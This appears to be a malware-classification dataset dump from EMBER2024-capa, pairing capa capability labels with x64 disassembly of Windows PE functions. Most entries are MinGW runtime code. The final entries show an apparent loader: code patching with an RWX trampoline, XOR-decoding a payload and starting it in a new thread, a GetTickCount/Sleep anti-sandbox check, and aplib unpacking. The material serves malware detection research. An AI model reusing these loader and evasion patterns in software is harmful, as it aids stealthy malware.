joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400020a8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400020f2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400020f2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400020f2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400020f2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400020f2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400020f4
xor al, al
add rsp, 0x28
ret
Function at 0x62f930
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00635a80
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00635a80
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x62f9a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x0063a0c4]
mov r12, rcx
test ebx, ebx
jle 0x62fad0
mov rax, qword [0x0063a0c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x62f9ec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x62fa73
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x62f9d0
mov rcx, r12
call fcn.00630350
mov rsi, rax
test rax, rax
je 0x62faf2
mov rax, qword [0x0063a0c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.00630480
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0063a0c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x62fad7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x62fa6c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x62fa80
add dword [0x0063a0c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x0063a0c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x62fa6c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0062f930
nop dword [rax]
xor ebx, ebx
jmp 0x62f9f7
mov rax, qword [0x0063a0c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.0062f930
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.0062f930
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x62ffc0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0063a120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0063a100]
test rbx, rbx
je 0x630014
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x63000b
test r12, r12
je 0x63000b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x62fff0
lea rcx, [0x0063a120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x630350
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x00637720]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x630370
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x630378
ret
cmp word [r8 + 0x18], 0x20b
jne 0x630370
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x6303c5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x6303bc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x630370
add rax, 0x28
cmp rax, r9
jne 0x6303a8
xor eax, eax
ret

Function at 0x6303d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x00637720]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x6303f0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x6303f8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x6303f0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x630480
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x00637720]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x6304a0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x6304a8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x140766e18
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140766f9f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140766e49
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140766e2f
add dl, dl
jne 0x140766e56
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140766eb6
xor eax, eax
add dl, dl
jne 0x140766e65
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140766f6d
add dl, dl
jne 0x140766e76
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140766e83
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140766e90
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140766e9d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140766eaa
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140766e3e
mov eax, 1
add dl, dl
jne 0x140766ec6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140766ed3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140766ebb
sub eax, ebx
mov ebx, 1
jne 0x140766f0c
mov ecx, 1
add dl, dl
jne 0x140766eee
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140766efb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140766ee3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140766e3e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140766f28
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140766f35
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140766f1d
cmp eax, 0x7d00
jae 0x140766f5b
cmp eax, 0x500
jb 0x140766f56
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140766e3e
cmp eax, 0x7f
ja 0x140766f5e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140766e3e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140766f92
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140766e3e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004450]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004460]
mov dword [rax], 1
mov rax, qword [0x140004470]
mov dword [rax], 1
mov rax, qword [0x1400043d0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004440]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004510]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400044f0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._wsetargv
mov rax, qword [0x1400043b0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001550
Capabilities:
Print debug messages
Write file on windows

Disassembly:
push rdi
mov eax, 0x1fc10
push rsi
push rbx
call fcn.1400027a0
sub rsp, rax
mov rsi, rcx
lea rdi, [rsp + 0xcb63]
mov qword [rsp + 0x1fc38], rdx
mov ecx, 0xfffffff4
mov qword [rsp + 0x1fc40], r8
mov qword [rsp + 0x1fc48], r9
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r8, rsi
mov edx, 0x130ad
mov rcx, rdi
lea r9, [rsp + 0x1fc38]
mov rbx, rax
lea rsi, [rsp + 0x40]
mov qword [rsp + 0x38], r9
call dbg.__ms_vsnprintf
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov byte [rsp + 0x1fc0f], 0
mov r8, rdi
mov ecx, 0xfde9
mov word [rsp + 0xcb5e], r9w
mov r9d, 0xffffffff
mov dword [rsp + 0x28], 0x6590
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp word [rsp + 0xcb5e], 0
jne 0x1400016ad
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14000160e
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
ud2
mov ecx, 2
call qword [sym.imp.msvcrt.dll__isatty]
test eax, eax
je 0x140001643
mov rcx, rsi
call sym.wcslen
xor r8d, r8d
lea r9, [rsp + 0x34]
mov rdx, rsi
mov qword [rsp + 0x20], r8
mov rcx, rbx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
ud2
lea rsi, [rsp + 0xcb60]
lea rdi, [rsp + 0x34]
mov word [rsp + 0xcb60], 0xbbef
mov rcx, rsi
mov byte [rsp + 0xcb62], 0xbf
call sym.strlen
xor edx, edx
mov r9, rdi
mov rcx, rbx
mov qword [rsp + 0x20], rdx
mov r8d, eax
mov rdx, rsi
mov rsi, qword [sym.imp.KERNEL32.dll_WriteFile]
call rsi
xor ecx, ecx
mov r9, rdi
mov r8d, 1
mov qword [rsp + 0x20], rcx
lea rdx, [0x140004040]
mov rcx, rbx
call rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
ud2
movabs rax, 0x2e002e002e0020
mov word [rsp + 0xcb5e], 0
mov qword [rsp + 0xcb56], rax
jmp 0x1400015f9
Function at 0x1400019e0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001a50
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070a4]
mov rbx, rcx
test esi, esi
jle 0x140001b80
mov rax, qword [0x1400070a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001a9b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b25
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001a80
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001ba2
mov rax, qword [0x1400070a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001b87
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001b1e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001b30
add dword [0x1400070a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b1e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001aa8
mov rax, qword [0x1400070a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002130
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x14000218c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002183
test eax, eax
jne 0x140002183
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002168
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400023a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400023b8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400023c0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400023d0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000241d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002414
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000241f
add rax, 0x28
cmp rax, r9
jne 0x140002400
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400024b0
mov rdx, qword [0x1400043d0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000249e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000249e
cmp word [rax + 0x18], 0x20b
jne 0x14000249e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400024b0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002489
add rbx, 0x28
cmp rbx, rdi
je 0x1400024b0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002480
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400024c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400024e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400024e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000253d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002534
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400024e0
add rax, 0x28
cmp rax, r9
jne 0x140002520
xor eax, eax
ret

Function at 0x140002540
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000255f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002568
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000255f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002580
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400043d0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400025a0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400025a8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400025a0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400025f0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400025e7
test rcx, rcx
je 0x1400025a0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x1400025d8
xor eax, eax
ret

Function at 0x140002600
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043d0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000261f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002628
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002640
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002660
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002668
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002660
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002660
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400026b4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400026c0
add rdx, 0x28
cmp rdx, r9
jne 0x1400026a0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400026d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400043d0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400026f2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002700
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026f2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400026f2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400026f2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002755
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002768
add rdx, 0x28
cmp r10, rdx
jne 0x140002740
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002777
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002787
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000275e
test ecx, ecx
jg 0x140002770
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400014d8
Capabilities:
Execute shellcode via indirect call

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbx, rcx
mov esi, r8d
cmp r8d, 2
jne 0x140001544
mov dword [0x14005f060], 0x10
mov eax, 0xe2ff41
movups xmm0, xmmword [rcx]
mov qword [rsp + 0x20], 0xba49
shl rax, 0x28
mov qword [rsp + 0x25], rax
movups xmmword [0x14005f064], xmm0
movups xmm1, xmmword [rcx]
mov qword [rsp + 0x22], rdx
mov rax, qword [rsp + 0x20]
movups xmmword [0x14005f074], xmm1
mov qword [0x14005f074], rax
mov rax, qword [rsp + 0x25]
mov qword [0x14005f079], rax
mov ebp, dword [0x14005f060]
xor eax, eax
lea r13, [rsp + 0x20]
mov rcx, rbx
mov dword [rsp + 0x20], eax
mov r12, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, r13
mov r8d, 0x40
mov r14, rbp
mov rdx, rbp
call r12
test eax, eax
je 0x1400015ef
test esi, esi
lea rsi, [0x14005f064]
mov rdi, rbx
mov rcx, rbp
lea rax, [rsi + 0x10]
cmovne rsi, rax
cmp qword [0x14005f088], 0
rep movsb byte [rdi], byte [rsi]
jne 0x1400015bc
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14005f088], rax
mov rsi, qword [0x14005f088]
test rsi, rsi
je 0x1400015d9
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, r14d
mov rdx, rbx
mov rcx, rax
call rsi
mov r8d, dword [rsp + 0x20]
mov r9, r13
mov rdx, rbp
mov rcx, rbx
call r12
mov eax, 1
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x1400016a3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 2
lea rdx, [0x1400015fe]
jmp fcn.1400014d8

Function at 0x1400016bc
Capabilities:
Create thread

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbp, rcx
mov esi, edx
mov ecx, 0x40000
xor edx, edx
mov r12, r8
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r8d, 0xa
xor edx, edx
mov rdi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test esi, esi
jle 0x14000170d
movsxd r9, esi
mov r8, rax
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rbx, rax
xor eax, eax
cmp esi, eax
jle 0x140001729
mov rdx, rax
and edx, 7
mov dl, byte [r12 + rdx]
xor dl, byte [rbp + rax]
mov byte [rbx + rax], dl
inc rax
jmp 0x14000170f
call fcn.1400016a3
mov rcx, rbx
mov r9, rbx
lea r8, [0x140001487]
call fcn.1400014a6
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edx
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140001770
Capabilities:
Check for time delay via gettickcount

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r9d, 0x2a
mov r8d, 0x17
mov edx, 0x402
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
xor eax, eax
xor r9d, r9d
xor r8d, r8d
or rdx, 0xffffffffffffffff
mov dword [rsp + 0x20], eax
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140001845
cmp dword [rsp + 0x38], 0x402
jne 0x140001845
cmp qword [rsp + 0x40], 0x17
jne 0x140001845
cmp qword [rsp + 0x48], 0x2a
jne 0x140001845
mov rsi, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rsi
mov ecx, 0x28a
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call rsi
sub eax, 0x258
sub eax, ebx
cmp eax, 0x12b
ja 0x140001845
mov r12, qword [0x14005c500]
movsxd rbp, dword [r12 + 4]
lea rsi, [r12 + 0x18]
mov rcx, rbp
call sub.msvcrt.dll_malloc
mov rcx, rbp
lea r8, [r12 + 8]
mov edx, ebp
mov rdi, rax
mov rbx, rax
rep movsb byte [rdi], byte [rsi]
mov rcx, rax
call fcn.1400016bc
mov rcx, rbx
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_free
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x140001b20
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002940
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002940
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]